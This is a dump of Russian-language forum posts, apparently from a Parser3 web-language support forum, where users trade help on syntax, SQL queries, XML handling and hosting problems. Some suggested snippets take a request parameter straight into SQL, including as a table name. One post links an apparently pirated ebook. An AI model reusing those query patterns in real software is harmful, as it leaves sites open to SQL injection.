и далее таблицу можно прокручивать, выбирая при этом нужные столбцы, а так же делать другие вещи. Например прокутка выглядит так:\
[code]\
^table.menu{\
	$table.col1 $table.col2<br/>\
}\
[/code]\
и в сравнении с C# в котором, скажем прокрутка какого-нибудь ArrayList выглядит так:\
[code]\
	ArrayList array = <init code>;\
	IEnumerator enum = array.GetEnumerator();\
	while (enum.MoveNext())\
	{\
		...\
		enum.Current\
		...\
	}\
[/code]\
т.е. приходится задействовать достаточно сложные для новичков абстракции типа интерфейсов. С другими типами многомерных структур там ещё сложнее, я не говорю уже про C++ и прочие.\
\
2. Повышение уровня абстракции (в случае с парсером) повышает скорость на задачах, для которых это и сделано, при этом снижается универсальность.\
\
3. А вообще для критически важных приложений, если вы не перец уровня пафа, использование парсера нецелесообразно, если только вы не используете те же инструменты что и лебедевцы (апач, мускул, оракль, юникс), т.е. не стоит использовать задекларированные СУБД вроде PostgreSQL, MS SQL и др., также не стоит пользоваться ISAPI вариантом и IIS веб-сервером.\
\
Просто эти вещи практически не тестируются в реальной работе, и если не хочется быть подопатным кроликом, то не стоит. А если хочется, нужно как минимум знать C++ чтобы провить исходники в случае необходимости."
"34933","достаточно абстрактный вопрос\
конкретнее"
"34934","строка 93, касающася кеширования хешей -> может стоит попробовать сделать это через hashfile?\
\
или по какой-то причине это неэффективно?"
"34935","Вот я не программист, а вовсе даже социолог и маркетолог. Вебдизайном не зарабатываю, но сайты и веб-приложения под свои специфические задачи делать нужно (так выходит, что это становится таким же нужным параметром, как \"Знание Word, Excel\" - и не для галочки, а просто работу упрощает). На парсере необходимое делается гораздо быстрее и работает безопаснее, так как многие проверки зашиты внутрь. То же самое могу написать и на перле, только займёт это вчетверо больше времени (притом перл я люблю и очень многое на нём делаю).\
\
Штука в том, что любящие поорать про \"рулез\" и \"мастдай\" про tco и roi не знают, а потому их тут не любят..."
"34937","нету setup.exe"
"34938","нету setup.exe"
"34940","Долго искал эту книгу, наконец, нашёл в виде Ebook.\
\
Делюсь ссылкой, так как считаю, что полезна она будет не только мне:\
\
http://downloads.ebuki.powernews.ru/Morgan.Kaufmann/Morgan.Kaufmann.Joe.Celkos.Trees.and.Hierarchies.in.SQL.for.Smarties.May.2004.eBook-DDU.pdf\
\
описываются все тонкости хранения деревьев в базе с кодом для процедур добавления/удаления элементов для каждого из подходов.\
\
Описание книжки на Амазоне - http://www.amazon.com/exec/obidos/tg/detail/-/1558609202/102-8100043-1312919?v=glance"
"34942","в hashfile можно хранить небольшие строки и все."
"34943","http://download.microsoft.com/download/0/8/6/086e7824-ddad-45c0-b765-721e5e28e4e5/dotnetfx.exe"
"34944","Все-таки хотелось бы услышать конкретный ответ, ведь я только начинаю изучать этот язык и до этого другого не знал. Не хочется на этом запинаться:("
"34945","Все-таки хотелось бы услышать конкретный ответ, ведь я только начинаю изучать этот язык и до этого другого не знал. Не хочется на этом запинаться:("
"34946","Прочитай разделы документации\
Класс request метод uri\
Класс string метод match. Поиск подстроки по шаблону\
\
На этом сайте принято помогать решать затруднительные ситуации однако непринято делать за кого-то работу, то что вы делаете это простая логическая задача которую можно решить с помощью if и выше указанных методов\
\
ps: Всё сказанное выше IMHO"
"34947","У меня была такая проблема. Хостер неожиданно сменил операционку с Линуха на ФриБСД и забыл об этом предупредить. Так что спроси у хостера.\
\
Еще у одного человека была такая проблема - на Зеноне - там была не правильно MySQL собрана. Он выбил у хостеров логи сервера и ткнул их носом в строку, где пишется, что не находится какая-то там библиотека MySQLя.\
\
Вот пока только два варианта решения."
"34948","если вы запнулись на одном из [b]уроке[/b] и требуете помощи, даже не помощи, а решения за вас, то дальше, я думаю, можете не продолжать. Возможно вам помогут с этим, со следующим, но потом настанет придел и вам скажут простое русское слово - хватит.\
Как же вы будете потом строить сложные иерархические структуры, если не можете решить такой простой задачи?\
\
для начала:\
http://www.parser.ru/docs/lang/requesturi.htm и http://www.parser.ru/docs/lang/stringpos.htm\
\
не мешает почитать пару примеров из соответствующего раздела. Посмотрите как пишут знающие люди...\
\
ЗЫ теперь про ваш вопрос, намек:\
если вы находитесь в разделе новостей и переходите по ссылке из календаря в request:uri все равно остается адрес раздела с новостями, вот если он там есть - используйте его по назначению."
"34949","Проблема в следующем, надо чтоб из таблицы новостей в базе данных из всех записей отбиралась и выводилась только последняя. С выводом только одной записи проблем не стало, запнулся на сортировке и отборе последней записи. Я так понимаю сортировать надо по ключу, или я ошибаюсь? Если по ключу то как его выбирать? Если не по ключу а по дате записи, то вопрос тот же, как?"
"34950","вам нужно чтобы это SQL или парсер делал? Чтобы из уже загруженной таблицы выбиралась последняя запись?\
Если из загруженной, то offset и все ок. :)"
"34951","То что с offset можно отбросить первые \"N\" записей выборки это понятно. Проблема в том как указать чтоб последняя оставалась. база то пополняется время от времени. у меня ума хватило только на отбрасывание фиксированного количества записей."
"34952","Вот таким образом, я вытаскиваю 3 последние новости. Сортировка по дате.\
[code]\
^connect[$connect_string]{\
	$news[^table::sql{SELECT id, date, header, body FROM news ORDER BY date DESC}[$.limit(3)]]\
[/code]"
"34953","последняя - понятие растяжимое.\
последняя дата, последняя добавленная (тоже дата), последняя редактированная, последняя.. и т.д. и т.п. по какому критерию вы собираетесь ее искать?"
"34954","Спасибо, подошло."
"34955","Спасибо, тебе Учитель, хорошо все-таки быть грамотным."
"34956","Очень тяжко читать с монитора. Интересно есть ли такая книга?"
"34958","А планируется?"
"34959","Народ. Скажите, почему может тормозить хостинг с парсером, если без парсера все страницы работаю влёт.\
\
Пример:\
Тормоз: www.associate.noff-dies.com\
Газ: www.noff-dies.com\
\
У меня для форума все функции находятся в одном файле auto.p, ну и весит он 12К. Немного."
"34961","И понятно почему: потому что документация часто обновляется."
"34963","большой секрет: еще есть классы с консрукорами и локальные переменные. А еще есть люди, которые могут вам помочь в этом форуме, но увы код силой мысли они читать не умеют."
"34964","Файл. Обычных HTML-ник. Конкретно: http://www.associate.noff-dies.com/word-input.html\
\
Там вызывается 2 функции: \
Первая - навигация (та, которая сверху - 5 ссылок)\
@navigation[]\
<p align=\"center\">\
	<a href=\"index.html\">Словарь асоциаций</a> &middot;\
	<a href=\"word-input.html\">Добавить слово/ассоциацию</a> &middot;\
	<a href=\"about.html\">Кому это надо?</a> &middot;\
	<a href=\"contact.html\">Кто это сделал?</a> &middot;\
	<a href=\"http://forum.noff-dies.com/forum.html?forum=associate\" target=\"_blank\">Хочешь поговорить об этом?</a>\
</p>\
\
ВТОРАЯ - даже не функция, а код в тексте\
	\
^if(def $form:word && def $form:association){\
^connect[$connect_string]{\
^void:sql{INSERT INTO dictionary (word, association) values ('$form:word', '$form:association')\
}\
<div align=\"center\">Пара добавлена</div>\
}\
		}{\
		  <div align=\"center\">Впиши пару: слово и синоним к нему</div>\
		}\
\
И все. Получается так: давлю на ссылку. Сначала иконка интырнета показывет, что траффик исходящий есть. Потом наступает затупление секунд на 5-7, потом только готовая страницаначинает грузиться.\
\
На сервере: FreeBSD - операционка. Раньше была Линух - пауза была 2 секунды."
"34966","Благодарю тот случай и тот день что привел меня сюда.\
\
До ПХП как то дела недоходили, а зашел сюда, сделал первый сайт за неделю на парсере и мне понравилось, причем я сам делал небольшие вставки с кодом парсера. До этого изучал только QBasic в школе. Своего программиста тоже \"перевел\" с ПХП на Парсер. \
\
Parser с одной стороны легкий, с другой стороны здесь не любят и почти нет готовых примеров, поэтому \"сообщество работающих на прарсере\" достаточно самостоятельно и трудолюбиво, им приходиться быть такими."
"34967","Везет. А из-за чего могут быть тормоза?\
Хочтер www.advanta.org"
"34968","из-за чего угодно, например на каком-то участке перегрузка. На моем канале тоже быстро."
"34969","Надо из текст (с символами переноса строки) из формы преобразовать в строку где вместо символа переноса строки будет <br>.\
Чего-то неполучается. Пробовал припомощи ^taint[js][$form:text] заменять на «\\n», а потом на «\\n» на «<br>». Почему-то ^taint[js][$form:text] не срабатывает.\
Подскажите пожалуйста."
"34970","http://www.parser.ru/faq/lang/"
"34971","[quot]8. \"Диковатый синтаксис\": А не кажется ли вам диковатым, допустим, PHP, в котором название даже тривиальной функции может состоять из 4х слов, собранных через \"_\"?[/quot]\
\
Между прочим, это очень удобно. Огромное количество Unix-программистов пишут именно так."
"34972","Поискал ничего ненашёл ни в доке, ни в форуме\
Например\
 http://мой_домен.ru\
 http://www.мой_домен.ru\
 http://синоним_моего_дмена.ru\
 http://www.синоним_моего_дмена.ru"
"34973","olegski@yandex.ru"
"34974","Как это работает на локальной машине?\
В документации \"класс status\" изучите он вам даст точный ответ."
"34975","Обнаружил несколько странное, на мой взгляд, поведение конструкторов класса xdoc. [Parser 3.1.3]\
\
Код:\
[code]\
   $doc[^xdoc::create[<?xml version=\"1.0\" encoding=\"windows-1251\"?>\
      <document>\
        <time>12:35:12 MSK</time>\
      </document>\
   ]]\
[/code]\
вызывает ошибку [code]DOMException NAMESPACE_ERR (14).[/code]\
\
[i]Эксперименты показали, что не нравятся ему двоеточия.[/i]\
\
А вот если переписать этот код в виде:\
[code]\
@main[]\
  $d[^xdoc::load[parser://xml]]\
\
@xml[]\
<?xml version=\"1.0\" encoding=\"windows-1251\"?>\
<document>\
  <time>12:35:12 MSK</time>\
</document>\
[/code]\
то все отрабатывает нормально.\
\
Логику происходящего я так и не понял.\
\
p.s. Можно ли поменять поведение ^xdoc::load[parser://метод/параметр], чтобы можно было вызывать метод не из класса MAIN (что, между прочим, в документации не указано), а из текущего контекста, например, из текущего класса. Вариант синтаксиса ^xdoc::load[parser://self.метод/параметр]."
"34976","... Т.е. при создании примитивного документа:\
[code]\
  $d[^xdoc::create[<?xml version=\"1.0\" encoding=\"windows-1251\" ?>\
     <article>\
        <title>Урок 6. Работаем с XML</title>\
     </article>\
]]\
[/code]\
\
ошибок не выдает и объект создает.\
\
Но при вызове\
[code]^d.selectString[string(/article/title)][/code]\
получается пустая строка.\
\
Если создавать объект через ^xdoc::load, то все работает как надо.\
\
[Parser 3.1.3 FreeBSD (\"Студийной\" сборки)]"
"34977","Смотри $env:HTTP_REFERER, в некотрых случаях надо ещё и $env:HTTP_FORWARDED..."
"34978","Есть несколько доменных имён на которых весит один сайт\
http://мой_домен.ru\
http://www.мой_домен.ru\
http://синоним_моего_дмена.ru\
http://www.синоним_моего_дмена.ru\
Задача узанть имя синонима.\
\
ЗЫ вобщем-то задача стоит по другому, коректно пересылать на домен http://www.мой_домен.ru, со всез остальных доменов.\
\
Например кто-то заходит по ссылке http://www.синоним_моего_дмена.ru/форум/, я его должен перенаправить на http://www.мой_домен.ru/форум/. Это делается для того чтобы на одном клиенте не висело несколько дублирующих куков."
"34979","попробуй вот этот редакотор:\
[url=\"http://www.enterstudio.ru/support/pb/\"]http://www.enterstudio.ru/support/pb/[/url]"
"34980","Дома у меня всё летает. Ну и естественно - не интернет ведь. Я еще попробую на другом хостинге. Но это пока не сейчас - на примете ничего нет. Но я думаю, эти из-за хостера. А пообще статусом попробую проверить. Спасибо"
"34981","На сайте есть раздел анекдотов и он поделен по темам в виде ссылок. Каждой теме соответствует своя таблица в базе MySql. Запара в том, что я не могу понять как сделать так, чтобы при нажатии на тематическую ссылку выводились соответсвующие данные из базы, но при этом не пришлось создавать каждой теме новую html страничку."
"34983","в хеше лежит junction:[code]$.insert[$insertBlock][/code]\
вызываю его:\
[code]\
^if($comH.insert is \"junction\"){\
		^comH.insert[$comH.insert_params]\
}{\
		^throw[component;Initialization failure. ^$comH.insert MUST be specified.]\
}\
		\
[/code]\
и вдруг бах: [b]exception in request exception handler: Exception 0xC0000005 at 0x00000000[/b]\
\
что за?"
"34984","Видимо, надо выше копать. Тут вроде всё нромально, разве только\
$.insert[$insertBlock]\
$.insert{$insertBlock}"
"34986","всегда содержит правильное.\
$env:SERVER_NAME содержит правильное, если выключены CanonicalNames [apache]"
"34987","а что вам позволил с квадратными скобками записать = явная ошибка."
"34988","сейчас url такого вида можно же записать и в шаблоне тоже,\
да, это будет нестандартно, но у нас же расширяемый[eXtensible stylesheet language] язык.\
\
глядя на текст шаблона с url вида parser://метод/параметр нет неоднозначности, ясно, что это нечто абсолютное[в противоположность относительному].\
[code]\
<xsl:import href=\"http://parser/stylesheetFromDB/navigation.xsl\"/>\
[/code]\
\
глядя же на [b]шаблон[/b] с предлагаемым вами адресом\
[code]\
<xsl:import href=\"http://parser/self.stylesheetFromDB/navigation.xsl\"/>\
[/code]\
\
то совершенно непонятно, где же искать этот самый метод доступа.\
и на понимание происходящего уйдёт ценное время = зло."
"34989","... А ведь сколько раз зарекался ночами работать! :)"
"34990","note: из приведённого неясно, что же там в $insertBlock эдакого.\
сумеете сузить до bug.zip?"
"34991","... буду использовать file::load + xdoc::create. \
\
Но при таких ограничениях наверное зря убрали из xdoc::load возможность полноценной работы с http-серверами."
"34992","в ещё более общем виде, чтобы ^file::load[parser://method/params]\
работало руки не дошли, да и перебор это :)"
"34993","есть такое удобное сокращение для создания документа для последующей с ним работы через DOM.\
\
там, понятно, такое \"имя\" элемента библиотеке не понравилось :)"
"34996","Help!\
Надо сделать так, чтобы при успешном логине в форум, значение в MySQL БД в поле 'in_forum' изменялось на '1', а при закрытии окна браузера на '0'"
"34997","При логине  - через\
примерно такую конструкцию\
[code]\
^void:sql{UPDATE table `your_table_name`\
SET\
`in_forum` = '1'\
WHERE\
`uid` = '$uid'\
}\
[/code]\
\
а вот при закрытии окна - 100% работать будет только по таймауту"
"34998","Как сделать так, чтоб можно было передавать параметры методу, НО если они не указаны, то принимались значения по умолчанию. Делаю:\
\
[code]\
@phsm[name;width;height;border]\
$name[^if(def $form:name){$form:name}{blank}]\
$width[^if(def $form:width){$form:width}{160}]\
$height[^if(def $form:height){$form:height}{120}]\
$border[^if(def $form:border){$form:border}{1}]\
$alt[^if(def $form:alt){$form:alt}{}]\
<img hspace=\"3\" vspace=\"3\" src=\"${img_path}${name}.jpg\" alt=\"$alt\" width=\"$width\" height=\"$height\" border=\"$border\">\
[/code]\
\
Метод не принимает никакие параметры, работает со значениями по умолчанию. Что исправить? И как правильно указывать параметры, если они не все:\
\
[code]\
^phsm[;120;;]\
[/code]\
\
Так правильно?"
"34999","Вместо единички пишете случайное число и этоже число в сессионную кук.\
При выходе сессионная кука удаляется, и как следствие ссия считается закрытой.\
Если очень сильно надо пишите ещё и дату и удаляйте все сесси которыми непоьзовались например более часа(одновременно, если надо, ставьте 1(0) куда хотите)"
"35000","@phsm[name;width;height;border]\
$name[^if(def $name){$name}{значение по умолчанию}]\
...\
..\
.\
\
Данные из формы(находящейся на web страничке) передаёте так:\
^phsm[$form:name;....]"
"35001","подумайте о hash, ведь если завтра захотите добавить onClick, то придётся ;;;; писать, а это нечитабельно совершенно."
"35002","Пробую вызов \
\
[code]\
^phsm[;$form:120;;]\
[/code]\
\
Все равно не принимает."
"35003","... Вы через $form:name, $form:width и пр. пытаетесь обратится к параметрам функции? Так это совершенно не правильно!\
\
Выглядеть должно так:\
[code]\
@phsm[name;width;height;border]\
  ^if(!def $name){$name[blank]}\
  ^if(!def $width){$width(120)}\
# И так далее...\
[/code]"
"35004","[code]\
@phsm[name;width;height;border]\
$name[^if(def $name){$name}{blank}]\
$width[^if(def $width){$width}{160}]\
$height[^if(def $height){$height}{120}]\
$border[^if(def $border){$border}{1}]\
$alt[^if(def $alt){$alt}{}]\
<img hspace=\"3\" vspace=\"3\" src=\"${img_path}${name}.jpg\" alt=\"$alt\" width=\"$width\" height=\"$height\" border=\"$border\">\
\
Вызываете, например, так:\
@phsm[$form:name;$form:width;$form:height;$form:border]\
[/code]"
"35005","В предыдущем посте опечатка была. :) Demolution'у самому подумать и найти :)\
\
ЗЫ Вариант Sumo красивее"
"35006","[code]\
@phsm[aOpt]\
^if($aOpt is hash){\
<img hspace=\"3\" vspace=\"3\" \
  src=\"${img_path}^if(def $aOpt.name){$aOpt.name}{blank}.jpg\" \
  alt=\"$aOpt.alt\"\
  width=\"^aOpt.width.int(160)\" \
  height=\"^aOpt.height.int(120)\" \
  border=\"^aOpt.border.int(0)\">\
}\
[/code]"
"35007","Вот как, вероятно, должно быть:\
\
[code]\
@phsm[name;width;height;border]\
$name[^if(def $name){$name}{blank}]\
$width[^if(def $width){$width}{160}]\
$height[^if(def $height){$height}{120}]\
$border[^if(def $border){$border}{1}]\
$alt[^if(def $alt){$alt}{}]\
<img hspace=\"3\" vspace=\"3\" src=\"${img_path}${name}.jpg\" alt=\"$alt\" width=\"$width\" height=\"$height\" border=\"$border\">\
[/code]\
\
Или если использовать хэш:\
\
[code]\
@phsm[params]\
$params[\
	$.name[^if(def $params.src){$params.src}{blank}]\
	$.alt[^if(def $params.alt){$params.alt}]\
	$.width(^if(def $params.width){$params.width}{160})\
	$.height(^if(def $params.height){$params.height}{120})\
	$.border(^if(def $params.border){$params.border}{1})\
]\
<img hspace=\"3\" vspace=\"3\"\
	src=\"${img_path}${params.name}.jpg\"\
	alt=\"$params.alt\"\
	width=\"$params.width\"\
	height=\"$params.height\"\
	border=\"$params.border\" />\
[/code]\
\
Или:\
\
[code]\
@phsm[params]\
<img hspace=\"3\" vspace=\"3\"\
	src=\"${img_path}^if(def $params.name){$params.name}{blank}.jpg\"\
	alt=\"^if(def $params.alt){$params.alt}\"\
	width=\"^if(def $params.width){$params.width}{160}\"\
	height=\"^if(def $params.height){$params.height}{120}\"\
	border=\"^if(def $params.border){$params.border}{1}\" />\
[/code]"
"35009","В isertBlock добавление элемента в базу. При обычном вызове: ^insertBlock[...] все ок, через хеш не хочет ни в какую.\
\
ps а в bug.zip нужно положить функцию insertBlock?"
"35010","у меня на valuehost простейшие штуки грузились 5-7 сек. на sweb так же, как и на моем localhost'e, так что из за хостинга вполне может быть..."
"35011","нужно положить минимум файлов, чтобы воспроизвелось при обращении к index.html, без всяких правок и чтения кода с моей стороны. без всяких баз."
"35012","простой тест:\
[code]\
@main[]\
\
$cH[^cH[]]\
\
^if($cH.this is \"junction\"){\
		$result[^cH.this[$cH.th_par]]\
}{\
		$result[0]\
}\
\
####################################################################################################################\
\
@cH[]\
$result[\
		$.this[$mThis]\
		$.th_par[\
				$.a(2)\
				$.b(3)\
		]\
]\
####################################################################################################################\
\
@mThis[lparams][params]\
$params[^hash::create[$lparams]]\
$result[^eval($params.a * $params.b)]\
\
#####################################################################################################################\
[/code]\
\
результат: [b]exception in request exception handler: Exception 0xC0000005 at 0x0775C085\
[/b]\
\
Если хеш находится в main, а не вызывается из другого метода - все ок. Либо здесь баг, либо я просто туплю и так делать нельзя. Но если в моем методе делать по другому - это будет маразм, т.к. хеш находится в одном файле, а вызывается из другого, выход один делать его глобальным..."
"35013","если данные приходят только из формы, можно написать просто:\
[code]\
@phsm[]\
$result[<img \
		hspace=\"3\" \
		vspace=\"3\" \
		^rem{*** откуда здесь $img_path науке неизвестно... ***}\
		src=\"${img_path}^if(def $form:name){$form:name}{blank}.jpg\" \
		alt=\"^if(def $form:alt){$form:alt}\" \
		width=\"^form:width.int(160)\" \
		height=\"^form:height.int(120)\" \
		border=\"^form:border.int(0)\"\
>]\
[/code]"
"35014","я написал маленький тест (см. ниже) где явно какой-то баг в хеше...\
или нужно все таки bug.zip?"
"35015","посмотрю. срочно не сделаю, сейчас загружен."
"35017","file -> поля \
\
[b]Поля HTTP-ответа[/b]\
Если файл был загружен с HTTP-сервера, поля заголовков HTTP-ответа [b]доступны доступны[/b], как поля объекта класса file: ...\
______________________________________\
\
это, конечно, ерунда, но раз все написано грамотно, такие промахи не есть гуд... :)"
"35019","При аккуратном программировании они сильно помогают."
"35020","Спасибо ребята. Суппорт конечно у Parsera крутой. Быстро подсобили.\
\
Parser builder вполне подходит."
"35021","[i]Как сделать так, чтоб можно было передавать параметры методу, НО если они не указаны, то принимались значения по умолчанию.[/i]\
\
Может это универсальный метод используемый на каждом шагу"
"35022","Спасибо за совет;) Он мне помог найти правильное решение. Я вместо $form:subject использовал $request:query и все заработало:)"
"35023","появление ее послностью неожиданно"
"35024","Ни у кого случайно так сабжа не завалялось?"
"35026","Как преобразовать с нормальной даты в unix-stamp? А то в документации какая-то херня написана:\
\
^date.unix-timestamp[]\
\
Преобразует дату и время к значению в UNIX формате (см. краткое описание).\
\
И все, а как использовать, ничего... даже примера нет.. :(\
Спасибо."
"35027","На форуме есть поиски и он (сюрприз) работает!"
"35029","\"Для Parser «свой» код, т.е. тот, который набрал кодер, считается clean («чистым»). Все данные, которые поступают извне, считаются tainted («грязными» или «окрашенными»).\"\
\
http://www.parser.ru/docs/lang/tainting.htm\
\
p.s. http://www.parser.ru/examples/tainting/"
"35030","Такая встала у меня задача: сделать хлебные крошки (дублирующую навигацию) для скрипта управления файлами и папками. \
В $form:get приходит путь к выбронному по ссылке каталогу, исходя из этого работает ^file:list. \
Не как не могу понять, как это сделать, может кто сталкивался.\
\
спасибо."
"35031","вот код, что тут не так?\
\
@greeting[]\
@body_links[]\
<a href=\"/anekdot/?anekdot\">Анекдот1</a>\
<a href=\"/anekdot/?anekdot2\">Анекдот2</a>\
@body_main[]\
\
^connect[$connect_string]{\
   $anekdot[^table::sql{select\
       text \
   from\
       $request:query\
   }]\
   ^if($anekdot){\
      ^anekdot.menu{\
         \
         ^untaint{$anekdot.text}<br>\
      }[<br>]\
   }{\
      Пока  этом разделе анекдотов нет:(\
   }\
}"
"35032","Привет всем, мне интересно, кто-нибудь ставил опыты, как лучше напускать xsl-преобразование: с помощью множественных import template или формируя один общий xsl (xdoc:create), включая туда все необходимые блоки xsl-преобразований?\
\
Лучше в смысле оптимальности скорость работы/расход памяти.\
\
...надеюсь, я понятно спрашиваю.... :)\
\
Спасибо."
"35033","Предпочительнее работать со статическими xsl.\
Так как они в этом случае кэшируются."
"35034","[b]auto.p:[/b]\
\
[code]\
		\
####################################################################################################################		\
		\
@body_main[]\
^connect[$connect_string]{\
	^try{\
		$anekdot[^table::sql{\
			SELECT\
				text \
			FROM\
				$form:subj\
		}]\
				\
		^if($anekdot){\
			^anekdot.menu{\
				^untaint{$anekdot.text}\
			}[<br /><br />]\
		}{\
			$result[Пока этом разделе анекдотов нет :^(]\
		}\
	}{\
		^rem{*** такой таблицы в базе нет ***}\
		$exception.handled(1)\
		$result[таблица с анекдотами не найдена]\
	}\
}\
\
[/code]\
\
[b]index.html:[/b]\
[code]\
@greeting[]\
<a href=\"/anekdot/?subj=anekdot\">Анекдот1</a>\
<a href=\"/anekdot/?subj=anekdot2\">Анекдот2</a>\
\
# смотрим, нажали ли ссылку\
^if(def $form:subj){\
	$result[^body_main[]]\
}\
\
[/code]"
"35036","Извиняюсь, проморгал. Спасибо за ответ."
"35037","[code]	^if($env:HTTP_HOST ne www.asha-city.ru){\
		$response:location[http://www.asha-city.ru$request:uri]\
		$response:refresh[\
		   $.value(0)\
		   $.url[http://www.asha-city.ru$request:uri]\
		]\
	}[/code]\
\
и выдаёт ошибку www.asha\
invalid number (double)\
/www/asha.pp.ru/html/auto.p(26:40) \
--------------------------------------------------------------------------------\
HTTP_HOST /www/asha.pp.ru/html/auto.p(26:40) \
if /www/asha.pp.ru/html/auto.p(26:10) \
\
помезщение asha-city.ru в переменную с квадратными скобками не спасает"
"35038","Задача простая, но что-то не клеится (практически первый раз с regexpами сталкиваюсь):\
надо выдрать из url имя сайта, т.е. из строчек:\
http://www.site.ru\
http://www.site.ru/\
http://www.site.ru/bla-bla.html?id=1\
http://www.site.ru/bla-bla/index.html\
однозначно получить 'http://www.site.ru'..\
Т.е. до первого слеша или до конца строки."
"35039","xsl-шаблоны в обоих вариантах живут как статические файлы...\
Что вы имеете в виду, говоря \"кэшируются\"?"
"35040","Я конечно, извиняюсь, может, я не совсем въехал, для какой задачи нужна эта задача, но, по-моему, можно и без регэкспа обойтись, чтоб голову не ломать. То есть если, допустим, в переменной есть какй-нито урл:\
\
[code]$uri[http://www.site.ru/abrakadabra/?query=something][/code]\
\
то если сделать\
\
[code]\
$parts[^uri.split[/;lh]]\
[/code]\
\
В одном из столбцов получившейся таблицы\
(То ли $parts.1, то ли $parts.2)\
обязательно будет www.site.ru\
\
Кстати, это можно прочесть в документации."
"35042","Открываю на сервере файл размером 27 мб.\
Файл содержит таблицу с данными по траффику.\
[code]\
$tab[^table::load[nameless;$path]]\
кол-во строк в таблице [color=\"#000099\"]638247[/color]\
Перебираю по строчно чтобы сосчитать суммарный траффик.\
^tab.menu{\
	^if($tab.0 eq $server){\
		^down.inc($tab.6)\
	}{\
		^up.inc($tab.6)\
	}\
}\
[/code]\
спустя некоторое время появляется ошибка: [color=\"#808080\"]http 500[/color]\
лезу в лог, там:\
[color=\"#808080\"]\
...\
GC Warning: Repeated allocation of very large block (appr. size 1507328):\
	May lead to memory leak and poor performance.\
GC Warning: Repeated allocation of very large block (appr. size 1536000):\
	May lead to memory leak and poor performance.\
GC Warning: Out of Memory!  Returning NIL!\
[/color]\
\
Это можно как-то исправить?"
"35043","В MySQL храню подобный текст (есть HTML и парсерный код):\
\
поколений, что жилищная проблема в&nbsp;нашей стране всегда\
была острой и&nbsp; ^phsm[params[$.name[svid 007]$.align[center]]] злободневной.\
Многие семьи, крайне нуждавшиеся\
\
Достаю так:\
[code]\
@last_news[]\
   $news[^table::sql{select\
...\
   }]\
...\
^untaint{$news.body}\
[/code]\
\
При этом не выполняется вызов метода (выводится на экран как есть)\
Если сделать:\
\
[code]\
@last_news[]\
   $news[^table::sql{select\
...\
   }]\
...\
$news.body\
[/code]\
\
То перестают выполняться и операторы html."
"35047","638247 - цифра явно не для файликов..."
"35048","Пробуйте считывать/обрабатывать данные порциями, а после обработки выгружать массивы данных из памяти. С помощью метода ^memory:compact[] можно выбросить неинициализированные/пустые переменные.\
\
Я на такие же грабли наступил, когда излишне понадеялся и загружал в память хеш абонентов и хеши тарифных планов (для каждого), а потом начинал обработку. Пришлось с наименьшими потерями переписывать код...\
\
Как альтернативу могу предложить использовать SQL, а именно: положите в базу данные по трафику, закройте файл, а потом тихо и мирно select'ами вытаскивайте порции данных. Если даже у вас нет разграничения на пользователей, а только входящий/исходящий трафик надо просуммировать, то в SQL-запросе напишите limit [from,]<length> - и всего делов (разумеется, после обработки текущей выборки очистите таблицу и упакуйте память). К тому же вы сможете извлекать НУЖНЫЕ столбцы таблицы, что еще раз приведет к сокращению используемой памяти.\
[code]\
$start_line(1)\
$read_limit(1000)\
$recs_count(^int:sql{select count(ip) from traffic})\
^while($start_line<=$recs_count){\
	$tab[^table::sql{select ip,bytes from traffic limit $start_line,$read_limit}]\
	^tab.menu{\
		^if($tab.ip eq $server){\
			^down.inc($tab.bytes)\
		}{\
			^up.inc($tab.bytes)\
		}\
	}\
	^start_line.inc($read_limit)\
	$tab[]\
	^memory:compact[]\
}\
$start_line[]\
$recs_count[]\
$read_limit[]\
^memory:compact[]\
[/code]\
\
Путем нехитрых экспериментов вы выясните, какое значение $read_limit для вас оптимально (по памяти и быстроте обработки)"
"35049","Неужели сложно изобразить кусок кода\
[code]\
$cur_date[2004-11-23 08:21:14]\
$dat[^date::create[$cur_date]]\
$u_dat[^dat.unix-timestamp[]]\
Текущая дата: $cur_date\
timestamp: $u_dat\
[/code]\
и получить на выводе\
[code]\
Текущая дата: 2004-11-23 08:21:14\
timestamp: 1101187274\
[/code]\
\
Для этого не надо ругать документацию, надо просто ПОПРОБОВАТЬ. В конце концов, программирование - это бесконечный набор экспериментов, так что дерзайте."
"35050","Нужно сделать общую фотогаллерею, разбитую на группы. При загрузге фотографии к ней пишется комментарий, указывается группа и, естественным образом, id.\
\
При просмотре одного из актеров (делаю сайт театру) отображаются какое-то определенное количество (например пять) маленьких превьюшек, которые случайным образом выбираются из всех фотографий, на которых есть этот актер (которых может быть, сами понимаете, сколько угодно).\
\
При просмотре одного из спектаклей все тоже самое, только проще. :)\
\
Собственно сам вопрос: как проще/правильнее соорудить базу.\
\
Мой вариант:\
\
[code]\
$photos[^table::create{id	comment	src	type}]\
$actors[^table::create{id	...}]\
$actor_photo[^table::create{id_actor	id_photo}]\
[/code]\
\
Что думается по этому поводу?\
\
[b]add:[/b]\
в таблице photos поле type нужно для того чтобы в этой же общей базе можно было хранить иллюстрации к новостям и, может быть еще куда (пока что это все), а они, эти иллюстрации, могут также быть фотографиями актеров/спектаклей, только если указан type=news, выводится только превьюшка.\
\
Или type, все таки, — лишнее поле?"
"35056","Проблема в том, что при попытке отправить сообщение с сайта с помощью ^mail:send оно вроде бы отправляется (никакого сообщения об ошибке не выдается), но письмо не приходит. Пробовал различные значения .from и .to но безрезультатно. В чем может быть проблема?"
"35057","Посмотрите его логи.\
А Парсер точно не ругается? в parser3.log смотрели?"
"35059","Хотел поставить JavaScript в страницу.\
document.all.menu_text.innerHTML='';\
Но в Parser3 есть встроенная функция document, соответственно код даёт ошибку, мол надо правильно писать команды.\
\
Так как правильно описать команды JavaScript???"
"35060","Парсер точно не ругается, но похоже я сам перемудрил. Просто на сайте много разных форм, результат заполнения которых отправляется по почте. И у всех этих форм стоял атрибут action=\"/postman/\" а в этом самом постмене уже происходил разбор какая именно форма была запостена и какое именно письмо отправлять. В случае удачной отправки осуществлялся обратный редирект на страницу с формой, где выдавалось сообщение, что письмо отправлено (как в Мишином примере).\
Вся цепочка вроде походила без ошибок, но письмо не уходило. В итоге все упростил. Скрипт отправки сообщения теперь вызывается в том же документе, что и сама форма. Теперь письма приходят нормально.\
Буду разбираться где накосячил :)"
"35061","js код в отдельную функцию в отдельном файле"
"35064","Написал класс для работы с датами расширенного диапазона. Если кому нужно - пользуйтесь на здоровье. Буду очень рад замечаниям. Но по хорошему в конструктор нужно вставить регулярное выражение, проверяющее правильность ввода даты и разбивающее дату на годы, дни, часы и т.д. Изучать RCPE пока некогда... если у кого есть, может поделитесь? Варианты строки с датой как в  [url=\"http://www.parser.ru/docs/lang/?datecreatestring.htm\"]date::create[][/url]. Код класса:\
[code]\
\
\
